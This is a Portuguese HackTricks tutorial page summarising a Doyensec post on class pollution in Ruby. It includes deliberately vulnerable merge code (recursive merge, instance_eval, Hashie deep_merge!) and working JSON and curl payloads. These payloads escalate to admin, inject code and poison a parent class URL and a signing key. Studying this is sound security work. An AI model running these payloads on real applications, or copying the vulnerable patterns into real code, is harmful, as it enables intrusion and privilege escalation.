# Poluição de Classe Ruby {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} Este é um resumo do post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) ## Mesclar em Atributos Exemplo: ```ruby # Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html # Comments added to exploit the merge on attributes require 'json' # Base class for both Admin and Regular users class Person attr_accessor :name, :age, :details def initialize(name:, age:, details:) @name = name @age = age @details = details end # Method to merge additional data into the object def merge_with(additional) recursive_merge(self, additional) end # Authorize based on the `to_s` method result def authorize if to_s == "Admin" puts "Access granted: #{@name} is an admin." else puts "Access denied: #{@name} is not an admin." end end # Health check that executes all protected methods using `instance_eval` def health_check protected_methods().each do |method| instance_eval(method.to_s) end end private # VULNERABLE FUNCTION that can be abused to merge attributes def recursive_merge(original, additional, current_obj = original) additional.each do |key, value| if value.is_a?(Hash) if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj) else new_object = Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor key end else current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor key end end original end protected def check_cpu puts "CPU check passed." end def check_memory puts "Memory check passed." end end # Admin class inherits from Person class Admin < Person def initialize(name:, age:, details:) super(name: name, age: age, details: details) end def to_s "Admin" end end # Regular user class inherits from Person class User < Person def initialize(name:, age:, details:) super(name: name, age: age, details: details) end def to_s "User" end end class JSONMergerApp def self.run(json_input) additional_object = JSON.parse(json_input) # Instantiate a regular user user = User.new( name: "John Doe", age: 30, details: { "occupation" => "Engineer", "location" => { "city" => "Madrid", "country" => "Spain" } } ) # Perform a recursive merge, which could override methods user.merge_with(additional_object) # Authorize the user (privilege escalation vulnerability) # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' user.authorize # Execute health check (RCE vulnerability) # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' user.health_check end end if ARGV.length != 1 puts "Usage: ruby class_pollution.rb 'JSON_STRING'" exit end json_input = ARGV[0] JSONMergerApp.run(json_input) ``` ### Explicação 1. **Escalação de Privilégios**: O método `authorize` verifica se `to_s` retorna "Admin." Ao injetar um novo atributo `to_s` através do JSON, um atacante pode fazer com que o método `to_s` retorne "Admin," concedendo privilégios não autorizados. 2. **Execução Remota de Código**: Em `health_check`, `instance_eval` executa métodos listados em `protected_methods`. Se um atacante injetar nomes de métodos personalizados (como `"puts 1"`), `instance_eval` irá executá-lo, levando à **execução remota de código (RCE)**. 1. Isso só é possível porque há uma **instrução `eval` vulnerável** executando o valor da string desse atributo. 3. **Limitação de Impacto**: Essa vulnerabilidade afeta apenas instâncias individuais, deixando outras instâncias de `User` e `Admin` inalteradas, limitando assim o escopo da exploração. ### Casos do Mundo Real ### `deep_merge` do ActiveSupport Isso não é vulnerável por padrão, mas pode ser tornado vulnerável com algo como: ```ruby # Method to merge additional data into the object using ActiveSupport deep_merge def merge_with(other_object) merged_hash = to_h.deep_merge(other_object) merged_hash.each do |key, value| self.class.attr_accessor key instance_variable_set("@#{key}", value) end self end ``` ### Hashie’s `deep_merge` O método `deep_merge` do Hashie opera diretamente nos atributos do objeto em vez de hashes simples. Ele **impede a substituição de métodos** por atributos em uma mesclagem com algumas **exceções**: atributos que terminam com `_`, `!` ou `?` ainda podem ser mesclados no objeto. Um caso especial é o atributo **`_`** por si só. Apenas `_` é um atributo que geralmente retorna um objeto `Mash`. E porque faz parte das **exceções**, é possível modificá-lo. Veja o seguinte exemplo de como passando `{"_": "Admin"}` é possível contornar `_.to_s == "Admin"`: ```ruby require 'json' require 'hashie' # Base class for both Admin and Regular users class Person < Hashie::Mash # Method to merge additional data into the object using hashie def merge_with(other_object) deep_merge!(other_object) self end # Authorize based on to_s def authorize if _.to_s == "Admin" puts "Access granted: #{@name} is an admin." else puts "Access denied: #{@name} is not an admin." end end end # Admin class inherits from Person class Admin < Person def to_s "Admin" end end # Regular user class inherits from Person class User < Person def to_s "User" end end class JSONMergerApp def self.run(json_input) additional_object = JSON.parse(json_input) # Instantiate a regular user user = User.new({ name: "John Doe", age: 30, details: { "occupation" => "Engineer", "location" => { "city" => "Madrid", "country" => "Spain" } } }) # Perform a deep merge, which could override methods user.merge_with(additional_object) # Authorize the user (privilege escalation vulnerability) # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin. # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}' user.authorize end end if ARGV.length != 1 puts "Usage: ruby hashie.rb 'JSON_STRING'" exit end json_input = ARGV[0] JSONMergerApp.run(json_input) ``` ## Poison the Classes No exemplo a seguir, é possível encontrar a classe **`Person`**, e as classes **`Admin`** e **`Regular`** que herdam da classe **`Person`**. Também possui outra classe chamada **`KeySigner`**: ```ruby require 'json' require 'sinatra/base' require 'net/http' # Base class for both Admin and Regular users class Person @@url = "http://default-url.com" attr_accessor :name, :age, :details def initialize(name:, age:, details:) @name = name @age = age @details = details end def self.url @@url end # Method to merge additional data into the object def merge_with(additional) recursive_merge(self, additional) end private # Recursive merge to modify instance variables def recursive_merge(original, additional, current_obj = original) additional.each do |key, value| if value.is_a?(Hash) if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj) else new_object = Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor key end else current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor key end end original end end class User < Person def initialize(name:, age:, details:) super(name: name, age: age, details: details) end end # A class created to simulate signing with a key, to be infected with the third gadget class KeySigner @@signing_key = "default-signing-key" def self.signing_key @@signing_key end def sign(signing_key, data) "#{data}-signed-with-#{signing_key}" end end class JSONMergerApp < Sinatra::Base # POST /merge - Infects class variables using JSON input post '/merge' do content_type :json json_input = JSON.parse(request.body.read) user = User.new( name: "John Doe", age: 30, details: { "occupation" => "Engineer", "location" => { "city" => "Madrid", "country" => "Spain" } } ) user.merge_with(json_input) { status: 'merged' }.to_json end # GET /launch-curl-command - Activates the first gadget get '/launch-curl-command' do content_type :json # This gadget makes an HTTP request to the URL stored in the User class if Person.respond_to?(:url) url = Person.url response = Net::HTTP.get_response(URI(url)) { status: 'HTTP request made', url: url, response_body: response.body }.to_json else { status: 'Failed to access URL variable' }.to_json end end # Curl command to infect User class URL: # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner get '/sign_with_subclass_key' do content_type :json # This gadget signs data using the signing key stored in KeySigner class signer = KeySigner.new signed_data = signer.sign(KeySigner.signing_key, "data-to-sign") { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json end # Curl command to infect KeySigner signing key (run in a loop until successful): # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done # GET /check-infected-vars - Check if all variables have been infected get '/check-infected-vars' do content_type :json { user_url: Person.url, signing_key: KeySigner.signing_key }.to_json end run! if app_file == $0 end ``` ### Classe Pai Poluída Com este payload: {% code overflow="wrap" %} ```bash curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge ``` {% endcode %} É possível modificar o valor do atributo **`@@url`** da classe pai **`Person`**. ### **Envenenando Outras Classes** Com este payload: {% code overflow="wrap" %} ```bash for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done ``` {% endcode %} É possível realizar um ataque de força bruta nas classes definidas e, em algum momento, envenenar a classe **`KeySigner`** modificando o valor de `signing_key` para `injected-signing-key`.\ ## Referências * [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}